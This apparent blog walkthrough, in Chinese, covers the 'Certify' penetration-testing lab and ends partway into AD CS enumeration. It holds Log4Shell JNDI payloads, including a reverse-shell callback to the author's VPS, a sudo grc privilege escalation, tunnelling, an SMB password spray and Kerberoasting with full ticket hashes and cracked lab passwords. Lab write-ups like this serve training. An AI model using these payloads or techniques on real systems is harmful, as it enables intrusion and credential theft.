春秋云镜-Certify – R1ftの折腾日记

靶标介绍：

Certify是一套难度为中等的靶场环境，完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法，加强对域环境核心认证机制的理解，以及掌握域环境渗透中一些有趣的技术要点。该靶场共有4个flag，分布于不同的靶机。

第一台39.99.151.170/172.22.9.19

全端口扫描

./fscan_mac_arm64 -h  39.99.151.170 -p 1-65535

   ___                              _    
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.8.3
start infoscan
39.99.151.170:22 open
39.99.151.170:80 open
39.99.151.170:8983 open
[*] alive ports len is: 3
start vulscan
[*] WebTitle http://39.99.151.170      code:200 len:612    title:Welcome to nginx!
[*] WebTitle http://39.99.151.170:8983 code:302 len:0      title:None 跳转url: http://39.99.151.170:8983/solr/
[*] WebTitle http://39.99.151.170:8983/solr/ code:200 len:16555  title:Solr Admin
已完成 3/3
[*] 扫描结束,耗时: 3m33.25628225s

开放了22、80、8983端口

8093端口有Apache Solr 页面，

solr设置了log4j2.xml 这个日志配置文件，试一试打log4j 2的洞CVE-2021-44228

参考链接：https://www.cnblogs.com/hzhsec/p/19418078

log4j 2

通过dnslog外带看到对方的java版本号

/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.dnslog地址}

使用JNDIExploit打jndi注入，工具地址https://github.com/0x727/JNDIExploit/releases

反弹shell

java -jar JNDIExploit-1.3-SNAPSHOT.jar -i vpsip

监听4444端口

nc -lvvp 4444

再访问

http://39.99.151.170:8983/solr/admin/collections?action=${jndi:ldap://vpsip:1389/Basic/ReverseShell/vpsip/监听端口}

拿到普通shell

如何拿到持久shell（可以挂后台的）

从你当前的 /bin/sh 反弹 shell 中执行以下三步：

第 1 步：使用 Python 生成一个更好的 shell

python3 -c 'import pty; pty.spawn("/bin/bash")'

现在你有了一个基础交互界面（但仍不完美）。

第 2 步：设置终端环境变量（在刚生成的 bash 中执行）

export TERM=xterm-256color

第 3 步：将当前 shell 进程变为前台进程组（在你的攻击机本地操作）

在攻击机（）的 nc 监听终端中，按下：

Ctrl+Z

这会挂起当前 nc 进程，回到你本地的 shell。

然后在攻击机的本地终端中执行：

stty raw -echo; fg

又会回到刚才的shell

stty raw -echo：关闭本地终端的回显和行缓冲
fg：把刚才挂起的 nc 进程恢复到前台

此时按一次回车，你会重新进入目标机的 shell，并且获得了完整的 TTY 功能：

Tab 补全
命令历史（上下箭头）
Ctrl+C 不会杀死 shell（只会中断当前命令）
su、sudo、less、vim 等需要 TTY 的程序可以正常运行

提权sudo

sudo -l 列出当前用户可以以 root（或其他用户）身份执行的命令。如果其中存在配置不当的命令，就可以利用这些命令提权。

solr@ubuntu:/opt/solr/server$ sudo -l
sudo -l
Matching Defaults entries for solr on ubuntu:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User solr may run the following commands on ubuntu:
    (root) NOPASSWD: /usr/bin/grc

sudo -l 发现 /usr/bin/grc是NOPASSWD的，

查看grc的帮助命令

sudo grc --help
Generic Colouriser 1.11.3
grc [options] command [args]
Options:
-e --stderr    redirect stderr. If this option is selected,
               do not automatically redirect stdout
-s --stdout    redirect stdout, even if -e is selected
-c name --config=name    use name as configuration file for grcat
--colour=word  word is one of: on, off, auto
--pty          run command in pseudoterminal (experimental)

直接使用 grc的–pty 参数来生成一个root权限的 shell

solr@ubuntu:/opt/solr/server$ sudo grc --pty /bin/sh
root@ubuntu:/opt/solr-8.11.0/server# whoami
whoami
root

查找flag

find / -name "*flag*" 2>/dev/null
/root/flag/flag01.txt

root@ubuntu:/opt/solr-8.11.0/server# cat /root/flag/flag01.txt
cat /root/flag/flag01.txt
   ██████                   ██   ██   ████         
  ██░░░░██                 ░██  ░░   ░██░   ██   ██
 ██    ░░   █████  ██████ ██████ ██ ██████ ░░██ ██ 
░██        ██░░░██░░██░░█░░░██░ ░██░░░██░   ░░███  
░██       ░███████ ░██ ░   ░██  ░██  ░██     ░██   
░░██    ██░██░░░░  ░██     ░██  ░██  ░██     ██    
 ░░██████ ░░██████░███     ░░██ ░██  ░██    ██     
  ░░░░░░   ░░░░░░ ░░░       ░░  ░░   ░░    ░░      

Easy right?
Maybe you should dig into my core domain network.

flag01: flag{f96f7c3c-5ecf-4210-a719-2aac6e9d6935}

内网信息收集

root@ubuntu:/tmp# ifconfig
ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.22.9.19  netmask 255.255.0.0  broadcast 172.22.255.255
        inet6 fe80::216:3eff:fe1b:92ce  prefixlen 64  scopeid 0x20<link>
        ether 00:16:3e:1b:92:ce  txqueuelen 1000  (Ethernet)
        RX packets 315529  bytes 265631085 (265.6 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 175842  bytes 54457445 (54.4 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

内网网卡是172.22.9.19

root@ubuntu:/tmp# uname -a
uname -a
Linux ubuntu 5.4.0-113-generic #127-Ubuntu SMP Wed May 18 14:30:56 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux

靶机是ubuntu x86_64架构

检查机器是否出网，用curl ip.sb

curl ip.sb
39.99.151.170

机器出网，可从我的vps上下载工具

上传x86_64架构的fscan内网信息收集，vps开启python服务

python3 -m http.server 80

wget http://vps的ip/fscan_linux_amd fscan_linux_amd 
chmod +x fscan_linux_amd

root@ubuntu:/opt# ./fscan_linux_amd -h 172.22.9.19/24
./fscan_linux_amd -h 172.22.9.19/24

   ___                              _    
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.8.4
start infoscan
(icmp) Target 172.22.9.19     is alive
(icmp) Target 172.22.9.7      is alive
(icmp) Target 172.22.9.47     is alive
(icmp) Target 172.22.9.26     is alive
[*] Icmp alive hosts len is: 4
172.22.9.7:445 open
172.22.9.26:445 open
172.22.9.47:445 open
172.22.9.26:139 open
172.22.9.7:139 open
172.22.9.47:139 open
172.22.9.7:135 open
172.22.9.26:135 open
172.22.9.7:80 open
172.22.9.7:88 open
172.22.9.47:80 open
172.22.9.47:22 open
172.22.9.19:80 open
172.22.9.19:22 open
172.22.9.47:21 open
172.22.9.19:8983 open
[*] alive ports len is: 16
start vulscan
[*] WebTitle http://172.22.9.7         code:200 len:703    title:IIS Windows Server
[*] NetInfo 
[*]172.22.9.7
   [->]XIAORANG-DC
   [->]172.22.9.7
[*] NetInfo 
[*]172.22.9.26
   [->]DESKTOP-CBKTVMO
   [->]172.22.9.26
[*] WebTitle http://172.22.9.47        code:200 len:10918  title:Apache2 Ubuntu Default Page: It works
[*] NetBios 172.22.9.7      [+] DC:XIAORANG\XIAORANG-DC    
[*] WebTitle http://172.22.9.19        code:200 len:612    title:Welcome to nginx!
[*] NetBios 172.22.9.47     fileserver                          Windows 6.1
[*] OsInfo 172.22.9.47  (Windows 6.1)
[*] NetBios 172.22.9.26     DESKTOP-CBKTVMO.xiaorang.lab        Windows Server 2016 Datacenter 14393
[*] WebTitle http://172.22.9.19:8983   code:302 len:0      title:None 跳转url: http://172.22.9.19:8983/solr/
[*] WebTitle http://172.22.9.19:8983/solr/ code:200 len:16555  title:Solr Admin
[+] PocScan http://172.22.9.7 poc-yaml-active-directory-certsrv-detect

信息整合一下

IP地址	主机名	操作系统	角色判断	开放端口	Web服务	NetBIOS/域信息	漏洞/风险	攻击优先级
172.22.9.7	XIAORANG-DC	Windows (域控)	域控制器(DC)	80,88,135,139,445	IIS Windows Server (200)	域: XIAORANG	poc-yaml-active-directory-certsrv-detect
172.22.9.19		Ubuntu	跳板机(已控制)	22,80,8983	Nginx (200), Solr Admin (200)	无	Log4j2已利用	已拿下
172.22.9.26	DESKTOP-CBKTVMO	Windows Server 2016	工作站/服务器	135,139,445	无	DESKTOP-CBKTVMO.xiaorang.lab	潜在SMB漏洞
172.22.9.47	fileserver	Windows 6.1 (Win7/2008)	文件服务器	21,22,80,139,445	Apache2默认页 (200)	Windows 6.

隧道代理搭建

上传stowaway，建立socks代理

wget http://vps的ip/linux_x64_agent linux_x64_agent
chmod +x linux_x64_agent

admin端监听2333端口

./linux_x64_admin -l 2333

客户端连接

root@ubuntu:/tmp# ./linux_x64_agent -c vps的ip:2333 --reconnect 8

admin端点建立socks端口10000

(node 0) >> socks 10000
[*] Trying to listen on 0.0.0.0:10000......
[*] Waiting for agent's response......
[*] Socks start successfully!

第二台机器172.22.9.47

172.22.9.47机器开启了445 smb端口，是一台fileserver文件服务器，尝试使用smbclient连一下

smb

配置proxychains4代理

vim /etc/proxychains4.conf

└─# proxychains4 impacket-smbclient 172.22.9.47
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/aarch64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[proxychains] Strict chain  ...  vps的ip:10000  ...  172.22.9.47:445  ...  OK
Type help for list of commands
# shares
print$
fileshare
IPC$

发现了 3 个共享：print$、fileshare、IPC$。

看看fileshare文件夹，flag在/fileshare/secret/flag02.txt中

还有个personnel.db数据库

# use fileshare
# ls
drw-rw-rw-          0  Wed Jul 13 16:12:10 2022 .
drw-rw-rw-          0  Wed Jul 13 12:35:08 2022 ..
-rw-rw-rw-      61440  Wed Jul 13 15:46:55 2022 personnel.db
drw-rw-rw-          0  Wed May 27 18:15:10 2026 secret
-rw-rw-rw-    9572925  Wed Jul 13 16:12:03 2022 Certified_Pre-Owned.7z
-rw-rw-rw-   10406101  Wed Jul 13 16:08:14 2022 Certified_Pre-Owned.pdf
# get personnel.db
# cd secret
# ls
drw-rw-rw-          0  Wed May 27 18:15:10 2026 .
drw-rw-rw-          0  Wed May 27 20:35:17 2026 ..
-rw-rw-rw-        659  Wed May 27 18:15:10 2026 flag02.txt
# get flag02.txt

拿到flag2

┌──(root㉿kali)-[/home/kali]
└─# cat flag02.txt
 ________  _______   ________  _________  ___  ________ ___    ___ 
|\   ____\|\  ___ \ |\   __  \|\___   ___\\  \|\  _____\\  \  /  /|
\ \  \___|\ \   __/|\ \  \|\  \|___ \  \_\ \  \ \  \__/\ \  \/  / /
 \ \  \    \ \  \_|/_\ \   _  _\   \ \  \ \ \  \ \   __\\ \    / / 
  \ \  \____\ \  \_|\ \ \  \\  \|   \ \  \ \ \  \ \  \_| \/  /  /  
   \ \_______\ \_______\ \__\\ _\    \ \__\ \ \__\ \__\__/  / /    
    \|_______|\|_______|\|__|\|__|    \|__|  \|__|\|__|\___/ /     
                                                      \|___|/      

flag02: flag{6774198c-3d9a-433b-8b0c-e1d99f124cc5}

Yes, you have enumerated smb. But do you know what an SPN is?

还给我一个提示**“你已经通过 SMB 进行了枚举，但你知道什么是 SPN 吗？”**

SPN (Service Principal Name) 是 Kerberos 认证中服务实例的唯一标识符。提示我——从 SMB 转向 Kerberos 攻击。

攻击者利用 Kerberos 认证协议的特性，请求服务票据（TGS）并离线破解，最终获得服务账户的明文密码。

**要求：**想要打spn攻击，首先需要一个普通域用户的用户名和密码（或 NTLM 哈希）

先不管，看看personnel.db数据库，用navicat打开该表

xr_users表有一行密码

admin
i9XDE02pLVf
6N70jt2K9sV
fiAzGwEMgTY

xr_members有一列用户名

结合上面的提示spn攻击，大概思路是从这个数据库中提取账号密码，进行密码喷洒，拿到一个域用户的账号密码·

对172.22.9.26这台主机进行smb爆破

第三台机器172.22.9.26

proxychains4 crackmapexec smb 172.22.9.26 -u user.txt -p pass.txt --continue-on-success
SMB         172.22.9.26     445    DESKTOP-CBKTVMO  [*] Windows Server 2016 Datacenter 14393 x64 (name:DESKTOP-CBKTVMO) (domain:xiaorang.lab) (signing:False) (SMBv1:True)

SMB         172.22.9.26     445    DESKTOP-CBKTVMO  [+] xiaorang.lab\zhangjian:i9XDE02pLVf 

SMB         172.22.9.26     445    DESKTOP-CBKTVMO  [-] xiaorang.lab\zhangjian:fiAzGwEMgTY STATUS_LOGON_FAILURE 

SMB         172.22.9.26     445    DESKTOP-CBKTVMO  [-] xiaorang.lab\liupeng:i9XDE02pLVf STATUS_LOGON_FAILURE 

SMB         172.22.9.26     445    DESKTOP-CBKTVMO  [+] xiaorang.lab\liupeng:fiAzGwEMgTY

爆破出两个域用户

xiaorang.lab\zhangjian:i9XDE02pLVf
xiaorang.lab\liupeng:fiAzGwEMgTY

打spn

spn

┌──(root㉿kali)-[/home/kali/tools/bachang]
└─# proxychains4 impacket-GetUserSPNs -request -dc-ip 172.22.9.7 xiaorang.lab/zhangjian:i9XDE02pLVf
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/aarch64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[proxychains] Strict chain  ...  vps的ip:10000  ...  172.22.9.7:389  ...  OK
ServicePrincipalName                   Name      MemberOf  PasswordLastSet             LastLogon                   Delegation 
-------------------------------------  --------  --------  --------------------------  --------------------------  ----------
TERMSERV/desktop-cbktvmo.xiaorang.lab  zhangxia            2023-07-14 12:45:45.213944  2026-05-27 21:13:18.130980             
WWW/desktop-cbktvmo.xiaorang.lab/IIS   zhangxia            2023-07-14 12:45:45.213944  2026-05-27 21:13:18.130980             
TERMSERV/win2016.xiaorang.lab          chenchen            2023-07-14 12:45:39.767035  2026-05-27 21:12:32.624214             



[-] CCache file is not found. Skipping...
[proxychains] Strict chain  ...  vps的ip:10000  ...  172.22.9.7:88  ...  OK
[proxychains] Strict chain  ...  vps的ip:10000  ...  172.22.9.7:88  ...  OK
[proxychains] Strict chain  ...  vps的ip:10000  ...  172.22.9.7:88  ...  OK
$krb5tgs$23$*zhangxia$XIAORANG.LAB$xiaorang.lab/zhangxia*$61ac0245b00d9cab5fd08f8dde2a307a$a976ea7633aa731b9ccb813ca8ba28a861ea6ada18f82d9f87524a6ca4eed275953a99ad8ed63ee82c98b2be4c7806ee4198cfbe390e1d403d99da86d873bafa58491489c832f684e0ff530a6109af54a34b3e0c3db35966cf15bf35bc64d797e563c9c44d609b367305ff34249dab03d818bc0a4de26fb89628c12a1d84ebc2631e8b21ac16c71a75ee4f9a8bf73cde6730608f622299e1e253b01b089594a5cbcca534cd71e513c7eee1a9c5ef414044adae98aba115285373cdb07fe30b2afab328b7a0290efd24da098c73e63000a7d75b8e2a8557c89e3ce107781f558acc89d99625c374b6b8002c85d9b151ccd4609b3d68490c3f7a9b2710355cf93353e3204608bdb7a65e24860962258bef3ddcdb7867b007987569bd022434c8708f09e7fa232d7f172c4ecec0da694a7a3a950073cc0b52b629743b06298a78696108ad84ccff853771238bc091af431bf76d3430c7b6e5a54067912392d63b596f64d0f840b3ef060fddbbba6b6b2a04246523f2cb1780ef23071b2b548b92a71537cfee520a360b726244afa58b362dc9a7963d5a8cb0d6800927787de67c77bd347f1c2bde05542cdf9b878a873f18214a622dc6b51f65056bc98ec41c891b055d8079749fb97e68d5d5a25e7590f9df8d8c0ccae3782a038d3d6a46007a554083fe6e4bd3d480a17fcdff3e7aca3f74274edd1e55ab77fdf7ae226b59855431f3d934e6f8f1277e756a1fa575e5a2598699a0692d5332154d82eacfe15ce1e5555b92a3a4fbe8754afb82a91404c0a5e993e3dd94dc3e129bc2f4236ad4c00075e051f174aa1787c17fc5739c68f6677bf0855056b41fc5f90f4781daae3828453e3c35df7b2562cd9a5419e376fc89024b61a7f3e986b3d057ca6ac4d5d8a02a57b5fa7a8d141b7aeea2763dc16210f5b4d42f03cc09e4ab1f7b514af546abc8751de4378e594ee564bdbd1f7390587ea51e52b70611c31cf82fc949777cc2ede416cb02914ec160e33c811163b840890cfef1aa8c0a9a472950ad7a0cbf8537f151183a439458b38efb19da9dc7b3b9d69ca7c9def4de59c7e2ad114986cb4c42dc49d901f1f24348ded40ffa591da8415c3b034ee5616441e22eb005a2737d1b7446a17cc70f23d3717759733edcb040c7c8aa081c64e51e59def3f36afc902d58e8ccc63fc99a4c59a90f3360a57d109d85ab81b49aa85af17c1af1a1cefcc4fdf94079cabcc4f360a22e8fe1f8b6dd1f36ecd476a11bc42173e1d89305742faabb3032a093a1a06be6040f8d18d0f0acbd3a34296ee43f71dd3fa43ea2e0c13a54b55b57ebc505ef237d00bbf6a863d658ba2e0fff16e3bed15057a816f58d516edf42f9d3aa73a861d769b35f0b3c61a022d51397283c42b252eb7616a0f09b73d9ac098cf7c172791c04bd9754ca042ea90827fc54d3bf1c09e5f8d8e6939bcfbd59054f7ee59997cb7c9d347ed545ee4ac3def27e56a81f07da53734348b680267f9ad4ae4a4443af
[proxychains] Strict chain  ...  vps的ip:10000  ...  172.22.9.7:88  ...  OK
$krb5tgs$23$*chenchen$XIAORANG.LAB$xiaorang.lab/chenchen*$390dc40a794e233f06cd0cff4774f81c$e89b743bc8a30763d38cbdcf73b723f6151069058e5fab5754bbfb2998c77410e04d01defb83658cb38d6672a8538b2e6ac17e617782834cca53a931ed1e2b83e011b36ba91572c5be4b46d8912d0fcb9ae6e7a98b051c243308e2c72f93a7efcf54a5f32675301aa7acdd13f8de50e9f4fedd5deebc7e6ea2d6a063ca7aaa5b83c4fbb1e4a4df447060105fda5b3ab1f33c38fed43526baf27649321f91d3d6a61c4f8c212859c04d46340fe2c223007df0464ba1584fb3844d7d2a11f4fe0ec300cfd93565fc06be0068b16b5eab1e11920275d3ac87fc422f7736875cec76f2938b5c63d20350bebf036b5bb1ed2f496408235b935c589b26d635489a4ea2f890e38196cbc7e94b19b6316175054a74ae441d45fdfd7a799d8689ee3e5740c419ebe43f3a117c050cfbf245034b5a7638deaa639bb0a2882c2a815d906e117708f8e52edcd94a5099222ec0f7502b16fdb100126c902263df57b3b088673bf6efa25a52d527bae5a4fa234c825e2e3f0ae9151202188890be7e8437c30399a438e4b4fde1219903edd7ccf446fa507133dd2bd180d9fa145d9cb398a90a43afce549616d4315040c83424972bb551002dbe25e97e536c9145c9a77aeedba17195412bd8e17d87633f63573038dd4c350e22e2f03b7345819f1ca701d1c39ef71b8c4bcd6a678342f50abb0ae8639822b629c93c9ec475f93de906a0bb6f214e2edc11e4d431ddced709f2a6843662c56783c311ad0a691eb007212857495661ee0163c8efb559f76af8634a103b9efa499c29f8dd30b77ae2a2beac2cb8e73d9d1e7305c5f420c41c2866e0f6276c31406fa15405c188bfa9d6edef884b380cb19a6fb3d966ccdb6f9c5b5259bce78b4a36092ff27db44ca9493f7edc0dace9a881da13b9ac9d081e4cd65edd0e4f9eb8ae2daa0fa3684d324c94117856a875b0ed3e85062816d34ee9dd5852a05ab14eaae347a9dfd40ec71e432c1585c4fc59751f3aa880c7327a699402d35652eecad72d13b2e773d0840b9d65fb3f039e05e51891abcbace77a9f07ef5a2fa5c5da85623fe7abcb680b8bece794d7f8512146c83a8c65d8101af5735dc7a71a25e05da720d4731bf66cbc6ad4e5e6f0bdec34d14053adb966fd941fecba0dbd614c7dec3ed574d8cb65bc3ca55d262459ef28610cbaf01ea13494a798f8e0f01967ac852125e7f2f7cafdee5a1604e69f1d08b91697c60013f8edbe285d5dc2b3a732c2981e0eee41fb2b0c869d4a4b2815ef42a964911a1432f6b09b3dd67562121b0764434c8a82e791f0c0f8dba4d85f312b9d50b0e05da90f32ab240b9c0b38128ce255afb8d659f1c7fb3723fd68a0df272a43b488fb5784f70aa2ef1b9a8943363e0df3f514b8282fbc8d6a01ba42c46a8b3c326fa62db4f91a8c0b1c21bbac74880f9f0c4cf5ea8e8f9c76c68f0381536f0835bce378e260d1bf849620c2f793f4803ced8e9e7ce849bbe5c3da7ab3c3fe92eb9bae93c8acd994

`impacket-GetUserSPNs`	查询和请求 SPN 服务票据的工具
`-request`	不仅查询 SPN，还要请求对应的 TGS 票据
`-dc-ip 172.22.9.7`	指定域控服务器的 IP 地址
`xiaorang.lab/zhangjian:i9XDE02pLVf`	域用户凭证：域名/用户名:密码

分析一下

ServicePrincipalName                           Name      MemberOf  PasswordLastSet             LastLogon                   
---------------------------------------------  --------  --------  --------------------------  --------------------------
TERMSERV/desktop-cbktvmo.xiaorang.lab          zhangxia            2023-07-14 12:45:45.213944  2026-05-27 21:13:18.130980
WWW/desktop-cbktvmo.xiaorang.lab/IIS           zhangxia            2023-07-14 12:45:45.213944  2026-05-27 21:13:18.130980
TERMSERV/win2016.xiaorang.lab                  chenchen            2023-07-14 12:45:39.767035  2026-05-27 21:12:32.624214

发现了两个服务账户：

服务账户	SPN 类型	目标主机	说明
zhangxia	`TERMSERV/`	`desktop-cbktvmo.xiaorang.lab`	远程桌面服务（终端服务）
zhangxia	`WWW//IIS`	`desktop-cbktvmo.xiaorang.lab`	IIS Web 服务
chenchen	`TERMSERV/`	`win2016.xiaorang.lab`	远程桌面服务（Windows 2016）

无论你用哪个域用户凭证（zhangjian 或 liupeng），查询到的 SPN 列表和票据都是相同的。

SPN 攻击的核心思路是：利用普通域用户权限，请求服务账户的加密票据，离线破解获得服务账户密码，进而横向移动到高权限系统。

普通域用户 → 请求 TGS 票据 → 获得加密票据 → 离线破解 → 服务账户密码 → 横向移动 → 域控

保存票据到文件

# 创建票据文件
cat > zhangxia_ticket.txt << 'EOF'
$krb5tgs$23$*zhangxia$XIAORANG.LAB$xiaorang.lab/zhangxia*$61ac0245b00d9cab5fd08f8dde2a307a$a976ea7633aa731b9ccb813ca8ba28a861ea6ada18f82d9f87524a6ca4eed275953a99ad8ed63ee82c98b2be4c7806ee4198cfbe390e1d403d99da86d873bafa58491489c832f684e0ff530a6109af54a34b3e0c3db35966cf15bf35bc64d797e563c9c44d609b367305ff34249dab03d818bc0a4de26fb89628c12a1d84ebc2631e8b21ac16c71a75ee4f9a8bf73cde6730608f622299e1e253b01b089594a5cbcca534cd71e513c7eee1a9c5ef414044adae98aba115285373cdb07fe30b2afab328b7a0290efd24da098c73e63000a7d75b8e2a8557c89e3ce107781f558acc89d99625c374b6b8002c85d9b151ccd4609b3d68490c3f7a9b2710355cf93353e3204608bdb7a65e24860962258bef3ddcdb7867b007987569bd022434c8708f09e7fa232d7f172c4ecec0da694a7a3a950073cc0b52b629743b06298a78696108ad84ccff853771238bc091af431bf76d3430c7b6e5a54067912392d63b596f64d0f840b3ef060fddbbba6b6b2a04246523f2cb1780ef23071b2b548b92a71537cfee520a360b726244afa58b362dc9a7963d5a8cb0d6800927787de67c77bd347f1c2bde05542cdf9b878a873f18214a622dc6b51f65056bc98ec41c891b055d8079749fb97e68d5d5a25e7590f9df8d8c0ccae3782a038d3d6a46007a554083fe6e4bd3d480a17fcdff3e7aca3f74274edd1e55ab77fdf7ae226b59855431f3d934e6f8f1277e756a1fa575e5a2598699a0692d5332154d82eacfe15ce1e5555b92a3a4fbe8754afb82a91404c0a5e993e3dd94dc3e129bc2f4236ad4c00075e051f174aa1787c17fc5739c68f6677bf0855056b41fc5f90f4781daae3828453e3c35df7b2562cd9a5419e376fc89024b61a7f3e986b3d057ca6ac4d5d8a02a57b5fa7a8d141b7aeea2763dc16210f5b4d42f03cc09e4ab1f7b514af546abc8751de4378e594ee564bdbd1f7390587ea51e52b70611c31cf82fc949777cc2ede416cb02914ec160e33c811163b840890cfef1aa8c0a9a472950ad7a0cbf8537f151183a439458b38efb19da9dc7b3b9d69ca7c9def4de59c7e2ad114986cb4c42dc49d901f1f24348ded40ffa591da8415c3b034ee5616441e22eb005a2737d1b7446a17cc70f23d3717759733edcb040c7c8aa081c64e51e59def3f36afc902d58e8ccc63fc99a4c59a90f3360a57d109d85ab81b49aa85af17c1af1a1cefcc4fdf94079cabcc4f360a22e8fe1f8b6dd1f36ecd476a11bc42173e1d89305742faabb3032a093a1a06be6040f8d18d0f0acbd3a34296ee43f71dd3fa43ea2e0c13a54b55b57ebc505ef237d00bbf6a863d658ba2e0fff16e3bed15057a816f58d516edf42f9d3aa73a861d769b35f0b3c61a022d51397283c42b252eb7616a0f09b73d9ac098cf7c172791c04bd9754ca042ea90827fc54d3bf1c09e5f8d8e6939bcfbd59054f7ee59997cb7c9d347ed545ee4ac3def27e56a81f07da53734348b680267f9ad4ae4a4443af
EOF

cat > chenchen_ticket.txt << 'EOF'
$krb5tgs$23$*chenchen$XIAORANG.LAB$xiaorang.lab/chenchen*$390dc40a794e233f06cd0cff4774f81c$e89b743bc8a30763d38cbdcf73b723f6151069058e5fab5754bbfb2998c77410e04d01defb83658cb38d6672a8538b2e6ac17e617782834cca53a931ed1e2b83e011b36ba91572c5be4b46d8912d0fcb9ae6e7a98b051c243308e2c72f93a7efcf54a5f32675301aa7acdd13f8de50e9f4fedd5deebc7e6ea2d6a063ca7aaa5b83c4fbb1e4a4df447060105fda5b3ab1f33c38fed43526baf27649321f91d3d6a61c4f8c212859c04d46340fe2c223007df0464ba1584fb3844d7d2a11f4fe0ec300cfd93565fc06be0068b16b5eab1e11920275d3ac87fc422f7736875cec76f2938b5c63d20350bebf036b5bb1ed2f496408235b935c589b26d635489a4ea2f890e38196cbc7e94b19b6316175054a74ae441d45fdfd7a799d8689ee3e5740c419ebe43f3a117c050cfbf245034b5a7638deaa639bb0a2882c2a815d906e117708f8e52edcd94a5099222ec0f7502b16fdb100126c902263df57b3b088673bf6efa25a52d527bae5a4fa234c825e2e3f0ae9151202188890be7e8437c30399a438e4b4fde1219903edd7ccf446fa507133dd2bd180d9fa145d9cb398a90a43afce549616d4315040c83424972bb551002dbe25e97e536c9145c9a77aeedba17195412bd8e17d87633f63573038dd4c350e22e2f03b7345819f1ca701d1c39ef71b8c4bcd6a678342f50abb0ae8639822b629c93c9ec475f93de906a0bb6f214e2edc11e4d431ddced709f2a6843662c56783c311ad0a691eb007212857495661ee0163c8efb559f76af8634a103b9efa499c29f8dd30b77ae2a2beac2cb8e73d9d1e7305c5f420c41c2866e0f6276c31406fa15405c188bfa9d6edef884b380cb19a6fb3d966ccdb6f9c5b5259bce78b4a36092ff27db44ca9493f7edc0dace9a881da13b9ac9d081e4cd65edd0e4f9eb8ae2daa0fa3684d324c94117856a875b0ed3e85062816d34ee9dd5852a05ab14eaae347a9dfd40ec71e432c1585c4fc59751f3aa880c7327a699402d35652eecad72d13b2e773d0840b9d65fb3f039e05e51891abcbace77a9f07ef5a2fa5c5da85623fe7abcb680b8bece794d7f8512146c83a8c65d8101af5735dc7a71a25e05da720d4731bf66cbc6ad4e5e6f0bdec34d14053adb966fd941fecba0dbd614c7dec3ed574d8cb65bc3ca55d262459ef28610cbaf01ea13494a798f8e0f01967ac852125e7f2f7cafdee5a1604e69f1d08b91697c60013f8edbe285d5dc2b3a732c2981e0eee41fb2b0c869d4a4b2815ef42a964911a1432f6b09b3dd67562121b0764434c8a82e791f0c0f8dba4d85f312b9d50b0e05da90f32ab240b9c0b38128ce255afb8d659f1c7fb3723fd68a0df272a43b488fb5784f70aa2ef1b9a8943363e0df3f514b8282fbc8d6a01ba42c46a8b3c326fa62db4f91a8c0b1c21bbac74880f9f0c4cf5ea8e8f9c76c68f0381536f0835bce378e260d1bf849620c2f793f4803ced8e9e7ce849bbe5c3da7ab3c3fe92eb9bae93c8acd994
EOF

使用 hashcat 破解票据，用13100模式，13100 对应的是 Kerberos 5 TGS-REP (etype 23)，符合 impacket-GetUserSPNs -request 获得的票据类型。

# 破解 zhangxia 的票据
proxychains4 hashcat -m 13100 zhangxia_ticket.txt -a 0 /usr/share/wordlists/rockyou.txt --force -o zhangxia_cracked.txt

# 破解 chenchen 的票据
proxychains4 hashcat -m 13100 chenchen_ticket.txt -a 0 /usr/share/wordlists/rockyou.txt --force -o chenchen_cracked.txt

拿到两个服务账号的密码

xiaorang.lab\zhangxia MyPass2@@6
xiaorang.lab\chenchen @Passw0rd@

rdp以域用户的身份登陆

用zhangxia 这个用户登陆172.22.9.26（DESKTOP-CBKTVMO）这台机器，登录完成后并不能直接访问administrator的目录查找flag,因为没有管理员权限

之前fscan扫出了172.22.9.7这台域控存在adcs证书攻击

第四台172.22.9.7

AD CS-ESC1

使用 certipy-ad 进行AD CS (Active Directory Certificate Services) 攻击，检测存在漏洞的模板

┌──(root㉿kali)-[/home/kali/tools/bachang]
└─# proxychains4 -q certipy-ad find -u 'zhangxia@xiaorang.lab' -p 'MyPass2@@6' -dc-ip 172.22.9.7 -vulnerable -stdout
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 35 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 13 enabled certificate templates
[*] Finding issuance policies
[*] Found 15 issuance policies
[*] Found 0 OIDs linked to templates
[!] DNS resolution failed: The resolution lifetime expired after 5.410 seconds: Server Do53:172.22.9.7@53 answered The DNS operation timed out.; Server Do53:172.22.9.7@53 answered The DNS operation timed out.; Server Do53:172.22.9.7@53 answered The DNS operation timed out.
[!] Use -debug to print a stacktrace
[*] Retrieving CA configuration for 'xiaorang-XIAORANG-DC-CA' via RRP
[-] Failed to connect to remote registry: [Errno Connection error (224.0.0.1:445)] [Errno 111] Connection refused
[-] Use -debug to print a stacktrace
[!] Failed to get CA configuration for 'xiaorang-XIAORANG-DC-CA' via RRP: 'NoneType' object has no attribute 'request'
[!] Use -debug to print a stacktrace
